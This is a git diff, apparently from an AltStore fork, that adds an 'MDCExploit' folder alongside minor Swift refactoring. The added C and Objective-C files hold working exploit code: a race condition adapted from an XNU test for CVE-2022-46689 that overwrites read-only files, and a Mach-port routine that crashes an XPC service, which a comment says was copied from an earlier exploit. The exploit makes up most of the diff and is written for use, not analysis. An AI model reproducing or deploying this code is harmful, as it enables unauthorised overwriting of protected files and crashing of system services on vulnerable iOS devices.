#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
|
||||||
|
|
||||||
|
#endif /* helpers_h */
|
||||||
139
AltStore/MDCExploit/helping_tools.m
Normal file
@@ -0,0 +1,139 @@
|
|||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <dirent.h>
|
||||||
|
|
||||||
|
char* get_temporary_file_location_paths(void) {
|
||||||
|
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// create a read-only test file we can target:
|
||||||
|
char* setup_temporary_file(void) {
|
||||||
|
char* path = get_temporary_file_location_paths();
|
||||||
|
// printf("path: %s\n", path);
|
||||||
|
|
||||||
|
FILE* f = fopen(path, "w");
|
||||||
|
if (!f) {
|
||||||
|
// printf("opening the tmp file failed...\n");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
char* buf = malloc(PAGE_SIZE*10);
|
||||||
|
memset(buf, 'A', PAGE_SIZE*10);
|
||||||
|
fwrite(buf, PAGE_SIZE*10, 1, f);
|
||||||
|
//fclose(f);
|
||||||
|
return path;
|
||||||
|
}
|
||||||
|
|
||||||
|
kern_return_t
|
||||||
|
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
|
||||||
|
|
||||||
|
struct x_p_c_w_zerozero_t {
|
||||||
|
mach_msg_header_t hdr;
|
||||||
|
mach_msg_body_t body;
|
||||||
|
mach_msg_port_descriptor_t client_port;
|
||||||
|
mach_msg_port_descriptor_t reply_port;
|
||||||
|
};
|
||||||
|
|
||||||
|
mach_port_t get_and_send_this_whatever_once_wow(mach_port_t recv) {
|
||||||
|
mach_port_t so = MACH_PORT_NULL;
|
||||||
|
mach_msg_type_name_t type = 0;
|
||||||
|
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
//a=port right extraction failed: %s\n
|
||||||
|
// printf("PREFail: %s\n", mach_error_string(err));
|
||||||
|
return MACH_PORT_NULL;
|
||||||
|
}
|
||||||
|
//made so: 0x%x from recv: 0x%x\n
|
||||||
|
// printf("ms 0x%x fr: 0x%x\n", so, recv);
|
||||||
|
return so;
|
||||||
|
}
|
||||||
|
|
||||||
|
// copy-pasted from an exploit I wrote in 2019...
|
||||||
|
// still works...
|
||||||
|
|
||||||
|
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
|
||||||
|
|
||||||
|
void crash_with_xpc_thingy(char* service_name) {
|
||||||
|
mach_port_t client_port = MACH_PORT_NULL;
|
||||||
|
mach_port_t reply_port = MACH_PORT_NULL;
|
||||||
|
|
||||||
|
mach_port_t service_port = MACH_PORT_NULL;
|
||||||
|
|
||||||
|
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||||
|
if(err != KERN_SUCCESS){
|
||||||
|
//unable to look up
|
||||||
|
// printf("utluqwd %s\n", service_name);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (service_port == MACH_PORT_NULL) {
|
||||||
|
//bad service port
|
||||||
|
// printf("wih1221udq\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// allocate the client and reply port:
|
||||||
|
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
//port allocation failed:
|
||||||
|
// printf("padiuhewi %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
mach_port_t so0 = get_and_send_this_whatever_once_wow(client_port);
|
||||||
|
mach_port_t so1 = get_and_send_this_whatever_once_wow(client_port);
|
||||||
|
|
||||||
|
// insert a send so we maintain the ability to send to this port
|
||||||
|
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
//port right insertion failed:
|
||||||
|
// printf("weediuwe %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
//port allocation failed:
|
||||||
|
// printf("wuiq21d %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct x_p_c_w_zerozero_t msg;
|
||||||
|
memset(&msg.hdr, 0, sizeof(msg));
|
||||||
|
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||||
|
msg.hdr.msgh_size = sizeof(msg);
|
||||||
|
msg.hdr.msgh_remote_port = service_port;
|
||||||
|
msg.hdr.msgh_id = 'w00t';
|
||||||
|
|
||||||
|
msg.body.msgh_descriptor_count = 2;
|
||||||
|
|
||||||
|
msg.client_port.name = client_port;
|
||||||
|
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
|
||||||
|
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||||
|
|
||||||
|
msg.reply_port.name = reply_port;
|
||||||
|
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||||
|
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||||
|
|
||||||
|
err = mach_msg(&msg.hdr,
|
||||||
|
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||||
|
msg.hdr.msgh_size,
|
||||||
|
0,
|
||||||
|
MACH_PORT_NULL,
|
||||||
|
MACH_MSG_TIMEOUT_NONE,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
//w00t message send failed:
|
||||||
|
// printf("ondwehu %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
} else {
|
||||||
|
//sent xpc w00t message\n
|
||||||
|
// printf("wq98ywqe");
|
||||||
|
}
|
||||||
|
|
||||||
|
mach_port_deallocate(mach_task_self(), so0);
|
||||||
|
mach_port_deallocate(mach_task_self(), so1);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
370
AltStore/MDCExploit/vm_unalign_csr.c
Normal file
@@ -0,0 +1,370 @@
|
|||||||
|
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
|
||||||
|
// modified to compile outside of XNU
|
||||||
|
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <dispatch/dispatch.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include <mach/mach_init.h>
|
||||||
|
#include <mach/mach_port.h>
|
||||||
|
#include <mach/vm_map.h>
|
||||||
|
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
|
||||||
|
//vm_unaligned_copy_switch_race
|
||||||
|
#include "vm_unalign_csr.h"
|
||||||
|
|
||||||
|
#define T_QUIET
|
||||||
|
#define T_EXPECT_MACH_SUCCESS(a, b)
|
||||||
|
#define T_EXPECT_MACH_ERROR(a, b, c)
|
||||||
|
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
|
||||||
|
#define T_ASSERT_MACH_ERROR(a, b, c)
|
||||||
|
#define T_ASSERT_POSIX_SUCCESS(a, b)
|
||||||
|
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||||
|
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||||
|
#define T_ASSERT_TRUE(a, b, ...)
|
||||||
|
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||||
|
#define T_DECL(a, b) static void a(void)
|
||||||
|
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||||
|
|
||||||
|
struct contextual_structure {
|
||||||
|
vm_size_t ob_sizing;
|
||||||
|
vm_address_t vmaddress_zeroe;
|
||||||
|
mach_port_t memory_entry_r_o;
|
||||||
|
mach_port_t memory_entry_r_w;
|
||||||
|
dispatch_semaphore_t currently_active_sem;
|
||||||
|
pthread_mutex_t mutex_thingy;
|
||||||
|
volatile bool finished;
|
||||||
|
};
|
||||||
|
|
||||||
|
//switcheroo_thread
|
||||||
|
static void *
|
||||||
|
sro_thread(__unused void *arg)
|
||||||
|
{
|
||||||
|
kern_return_t kr;
|
||||||
|
struct contextual_structure *ctx;
|
||||||
|
|
||||||
|
ctx = (struct contextual_structure *)arg;
|
||||||
|
/* tell main thread we're ready to run */
|
||||||
|
dispatch_semaphore_signal(ctx->currently_active_sem);
|
||||||
|
while (!ctx->finished) {
|
||||||
|
/* wait for main thread to be done setting things up */
|
||||||
|
pthread_mutex_lock(&ctx->mutex_thingy);
|
||||||
|
if (ctx->finished) {
|
||||||
|
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
/* switch e0 to RW mapping */
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&ctx->vmaddress_zeroe,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||||
|
ctx->memory_entry_r_w,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
|
||||||
|
/* wait a little bit */
|
||||||
|
usleep(100);
|
||||||
|
/* switch bakc to original RO mapping */
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&ctx->vmaddress_zeroe,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||||
|
ctx->memory_entry_r_o,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
|
||||||
|
/* tell main thread we're don switching mappings */
|
||||||
|
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||||
|
usleep(100);
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
//unaligned_copy_switch_race
|
||||||
|
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data) {
|
||||||
|
bool retval = false;
|
||||||
|
pthread_t th = NULL;
|
||||||
|
int ret;
|
||||||
|
kern_return_t kr;
|
||||||
|
time_t start, duration;
|
||||||
|
#if 0
|
||||||
|
mach_msg_type_number_t cow_read_size;
|
||||||
|
#endif
|
||||||
|
vm_size_t copied_size;
|
||||||
|
int loops;
|
||||||
|
vm_address_t e2, e5;
|
||||||
|
struct contextual_structure context1, *ctx;
|
||||||
|
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
|
||||||
|
vm_address_t ro_addr, tmp_addr;
|
||||||
|
memory_object_size_t mo_size;
|
||||||
|
|
||||||
|
ctx = &context1;
|
||||||
|
ctx->ob_sizing = 256 * 1024;
|
||||||
|
|
||||||
|
void* file_mapped = mmap(NULL, ctx->ob_sizing, PROT_READ, MAP_SHARED, file_to_bake, the_offset_of_the_file);
|
||||||
|
if (file_mapped == MAP_FAILED) {
|
||||||
|
// fprintf(stderr, "failed to map\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (!memcmp(file_mapped, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data)) {
|
||||||
|
// fprintf(stderr, "already the same?\n");
|
||||||
|
munmap(file_mapped, ctx->ob_sizing);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
ro_addr = (vm_address_t)file_mapped;
|
||||||
|
|
||||||
|
ctx->vmaddress_zeroe = 0;
|
||||||
|
ctx->currently_active_sem = dispatch_semaphore_create(0);
|
||||||
|
//c=dispatch_semaphore_create
|
||||||
|
T_QUIET; T_ASSERT_NE(ctx->currently_active_sem, NULL, "wqdwqd");
|
||||||
|
ret = pthread_mutex_init(&ctx->mutex_thingy, NULL);
|
||||||
|
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
|
||||||
|
ctx->finished = false;
|
||||||
|
ctx->memory_entry_r_w = MACH_PORT_NULL;
|
||||||
|
ctx->memory_entry_r_o = MACH_PORT_NULL;
|
||||||
|
#if 0
|
||||||
|
/* allocate our attack target memory */
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&ro_addr,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
|
||||||
|
/* initialize to 'A' */
|
||||||
|
memset((char *)ro_addr, 'A', ctx->ob_sizing);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* make it read-only */
|
||||||
|
kr = vm_protect(mach_task_self(),
|
||||||
|
ro_addr,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
TRUE, /* set_maximum */
|
||||||
|
VM_PROT_READ);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
|
||||||
|
/* make sure we can't get read-write handle on that target memory */
|
||||||
|
mo_size = ctx->ob_sizing;
|
||||||
|
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||||
|
&mo_size,
|
||||||
|
ro_addr,
|
||||||
|
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
&ctx->memory_entry_r_o,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
|
||||||
|
/* take read-only handle on that target memory */
|
||||||
|
mo_size = ctx->ob_sizing;
|
||||||
|
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||||
|
&mo_size,
|
||||||
|
ro_addr,
|
||||||
|
MAP_MEM_VM_SHARE | VM_PROT_READ,
|
||||||
|
&ctx->memory_entry_r_o,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
|
||||||
|
//c= wrong mem_entry size
|
||||||
|
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "uwdihiu");
|
||||||
|
/* make sure we can't map target memory as writable */
|
||||||
|
tmp_addr = 0;
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&tmp_addr,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_ANYWHERE,
|
||||||
|
ctx->memory_entry_r_o,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||||
|
tmp_addr = 0;
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&tmp_addr,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_ANYWHERE,
|
||||||
|
ctx->memory_entry_r_o,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||||
|
|
||||||
|
/* allocate a source buffer for the unaligned copy */
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&e5,
|
||||||
|
ctx->ob_sizing * 2,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
|
||||||
|
/* initialize to 'C' */
|
||||||
|
memset((char *)e5, 'C', ctx->ob_sizing * 2);
|
||||||
|
|
||||||
|
char* e5_overwrite_ptr = (char*)(e5 + ctx->ob_sizing - 1);
|
||||||
|
memcpy(e5_overwrite_ptr, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data);
|
||||||
|
|
||||||
|
int overwrite_first_diff_offset = -1;
|
||||||
|
char overwrite_first_diff_value = 0;
|
||||||
|
for (int off = 0; off < what_is_the_length_of_this_overwrite_data; off++) {
|
||||||
|
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
|
||||||
|
overwrite_first_diff_offset = off;
|
||||||
|
overwrite_first_diff_value = ((char*)ro_addr)[off];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (overwrite_first_diff_offset == -1) {
|
||||||
|
//b=no diff?
|
||||||
|
fprintf(stderr, "uewiyfih");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* get a handle on some writable memory that will be temporarily
|
||||||
|
* switched with the read-only mapping of our target memory to try
|
||||||
|
* and trick copy_unaligned to write to our read-only target.
|
||||||
|
*/
|
||||||
|
tmp_addr = 0;
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&tmp_addr,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
|
||||||
|
/* initialize to 'D' */
|
||||||
|
memset((char *)tmp_addr, 'D', ctx->ob_sizing);
|
||||||
|
/* get a memory entry handle for that RW memory */
|
||||||
|
mo_size = ctx->ob_sizing;
|
||||||
|
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||||
|
&mo_size,
|
||||||
|
tmp_addr,
|
||||||
|
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
&ctx->memory_entry_r_w,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
|
||||||
|
//c=wrong mem_entry size
|
||||||
|
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "weouhdqhuow");
|
||||||
|
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->ob_sizing);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
|
||||||
|
tmp_addr = 0;
|
||||||
|
|
||||||
|
pthread_mutex_lock(&ctx->mutex_thingy);
|
||||||
|
|
||||||
|
/* start racing thread */
|
||||||
|
ret = pthread_create(&th, NULL, sro_thread, (void *)ctx);
|
||||||
|
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||||
|
|
||||||
|
/* wait for racing thread to be ready to run */
|
||||||
|
dispatch_semaphore_wait(ctx->currently_active_sem, DISPATCH_TIME_FOREVER);
|
||||||
|
|
||||||
|
duration = 10; /* 10 seconds */
|
||||||
|
// T_LOG("Testing for %ld seconds...", duration);
|
||||||
|
for (start = time(NULL), loops = 0;
|
||||||
|
time(NULL) < start + duration;
|
||||||
|
loops++) {
|
||||||
|
/* reserve space for our 2 contiguous allocations */
|
||||||
|
e2 = 0;
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&e2,
|
||||||
|
2 * ctx->ob_sizing,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
|
||||||
|
|
||||||
|
/* make 1st allocation in our reserved space */
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&e2,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
|
||||||
|
/* initialize to 'B' */
|
||||||
|
memset((char *)e2, 'B', ctx->ob_sizing);
|
||||||
|
|
||||||
|
/* map our read-only target memory right after */
|
||||||
|
ctx->vmaddress_zeroe = e2 + ctx->ob_sizing;
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&ctx->vmaddress_zeroe,
|
||||||
|
ctx->ob_sizing,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
|
||||||
|
ctx->memory_entry_r_o,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
|
||||||
|
|
||||||
|
/* let the racing thread go */
|
||||||
|
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||||
|
/* wait a little bit */
|
||||||
|
usleep(100);
|
||||||
|
|
||||||
|
/* trigger copy_unaligned while racing with other thread */
|
||||||
|
kr = vm_read_overwrite(mach_task_self(),
|
||||||
|
e5,
|
||||||
|
ctx->ob_sizing - 1 + what_is_the_length_of_this_overwrite_data,
|
||||||
|
e2 + 1,
|
||||||
|
&copied_size);
|
||||||
|
T_QUIET;
|
||||||
|
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
|
||||||
|
"vm_read_overwrite kr %d", kr);
|
||||||
|
switch (kr) {
|
||||||
|
case KERN_SUCCESS:
|
||||||
|
/* the target was RW */
|
||||||
|
kern_success++;
|
||||||
|
break;
|
||||||
|
case KERN_PROTECTION_FAILURE:
|
||||||
|
/* the target was RO */
|
||||||
|
kern_protection_failure++;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
/* should not happen */
|
||||||
|
kern_other++;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
/* check that our read-only memory was not modified */
|
||||||
|
#if 0
|
||||||
|
//c = RO mapping was modified
|
||||||
|
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "cddwq");
|
||||||
|
#endif
|
||||||
|
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
|
||||||
|
|
||||||
|
/* tell racing thread to stop toggling mappings */
|
||||||
|
pthread_mutex_lock(&ctx->mutex_thingy);
|
||||||
|
|
||||||
|
/* clean up before next loop */
|
||||||
|
vm_deallocate(mach_task_self(), ctx->vmaddress_zeroe, ctx->ob_sizing);
|
||||||
|
ctx->vmaddress_zeroe = 0;
|
||||||
|
vm_deallocate(mach_task_self(), e2, ctx->ob_sizing);
|
||||||
|
e2 = 0;
|
||||||
|
if (!is_still_equal) {
|
||||||
|
retval = true;
|
||||||
|
// fprintf(stderr, "RO mapping was modified\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx->finished = true;
|
||||||
|
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||||
|
pthread_join(th, NULL);
|
||||||
|
|
||||||
|
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_w);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
|
||||||
|
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_o);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
|
||||||
|
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->ob_sizing);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
|
||||||
|
kr = vm_deallocate(mach_task_self(), e5, ctx->ob_sizing * 2);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
|
||||||
|
|
||||||
|
//#if 0
|
||||||
|
// T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
|
||||||
|
// kern_success, kern_protection_failure, kern_other);
|
||||||
|
// T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
|
||||||
|
//#endif
|
||||||
|
return retval;
|
||||||
|
}
|
||||||
8
AltStore/MDCExploit/vm_unalign_csr.h
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
|
||||||
|
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
|
||||||
|
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
|
||||||
|
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
|
||||||
|
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data);
|
||||||
@@ -28,7 +28,7 @@ extension AppManager
|
|||||||
}
|
}
|
||||||
|
|
||||||
@available(iOS 13, *)
|
@available(iOS 13, *)
|
||||||
class AppManagerPublisher: ObservableObject
|
final class AppManagerPublisher: ObservableObject
|
||||||
{
|
{
|
||||||
@Published
|
@Published
|
||||||
fileprivate(set) var installationProgress = [String: Progress]()
|
fileprivate(set) var installationProgress = [String: Progress]()
|
||||||
@@ -42,7 +42,7 @@ private func ==(lhs: OperatingSystemVersion, rhs: OperatingSystemVersion) -> Boo
|
|||||||
return (lhs.majorVersion == rhs.majorVersion && lhs.minorVersion == rhs.minorVersion && lhs.patchVersion == rhs.patchVersion)
|
return (lhs.majorVersion == rhs.majorVersion && lhs.minorVersion == rhs.minorVersion && lhs.patchVersion == rhs.patchVersion)
|
||||||
}
|
}
|
||||||
|
|
||||||
class AppManager
|
final class AppManager
|
||||||
{
|
{
|
||||||
static let shared = AppManager()
|
static let shared = AppManager()
|
||||||
|
|
||||||
@@ -392,7 +392,8 @@ extension AppManager
|
|||||||
func fetchAppIDs(completionHandler: @escaping (Result<([AppID], NSManagedObjectContext), Error>) -> Void)
|
func fetchAppIDs(completionHandler: @escaping (Result<([AppID], NSManagedObjectContext), Error>) -> Void)
|
||||||
{
|
{
|
||||||
let authenticationOperation = self.authenticate(presentingViewController: nil) { (result) in
|
let authenticationOperation = self.authenticate(presentingViewController: nil) { (result) in
|
||||||
print("Authenticated for fetching App IDs with result:", result)
|
// result contains name, email, auth token, OTP and other possibly personal/account specific info. we don't want this logged
|
||||||
|
//print("Authenticated for fetching App IDs with result:", result)
|
||||||
}
|
}
|
||||||
|
|
||||||
let fetchAppIDsOperation = FetchAppIDsOperation(context: authenticationOperation.context)
|
let fetchAppIDsOperation = FetchAppIDsOperation(context: authenticationOperation.context)
|
||||||
@@ -664,7 +665,7 @@ extension AppManager
|
|||||||
@available(iOS 14, *)
|
@available(iOS 14, *)
|
||||||
func enableJIT(for installedApp: InstalledApp, completionHandler: @escaping (Result<Void, Error>) -> Void)
|
func enableJIT(for installedApp: InstalledApp, completionHandler: @escaping (Result<Void, Error>) -> Void)
|
||||||
{
|
{
|
||||||
class Context: OperationContext, EnableJITContext
|
final class Context: OperationContext, EnableJITContext
|
||||||
{
|
{
|
||||||
var installedApp: InstalledApp?
|
var installedApp: InstalledApp?
|
||||||
}
|
}
|
||||||
@@ -684,7 +685,7 @@ extension AppManager
|
|||||||
@available(iOS 14.0, *)
|
@available(iOS 14.0, *)
|
||||||
func patch(resignedApp: ALTApplication, presentingViewController: UIViewController, context authContext: AuthenticatedOperationContext, completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> PatchAppOperation
|
func patch(resignedApp: ALTApplication, presentingViewController: UIViewController, context authContext: AuthenticatedOperationContext, completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> PatchAppOperation
|
||||||
{
|
{
|
||||||
class Context: InstallAppOperationContext, PatchAppContext
|
final class Context: InstallAppOperationContext, PatchAppContext
|
||||||
{
|
{
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -758,7 +759,7 @@ extension AppManager
|
|||||||
extension AppManager
|
extension AppManager
|
||||||
{
|
{
|
||||||
@discardableResult
|
@discardableResult
|
||||||
func backgroundRefresh(_ installedApps: [InstalledApp], presentsNotifications: Bool = true, completionHandler: @escaping (Result<[String: Result<InstalledApp, Error>], Error>) -> Void) -> BackgroundRefreshAppsOperation
|
func backgroundRefresh(_ installedApps: [InstalledApp], presentsNotifications: Bool = false, completionHandler: @escaping (Result<[String: Result<InstalledApp, Error>], Error>) -> Void) -> BackgroundRefreshAppsOperation
|
||||||
{
|
{
|
||||||
let backgroundRefreshAppsOperation = BackgroundRefreshAppsOperation(installedApps: installedApps)
|
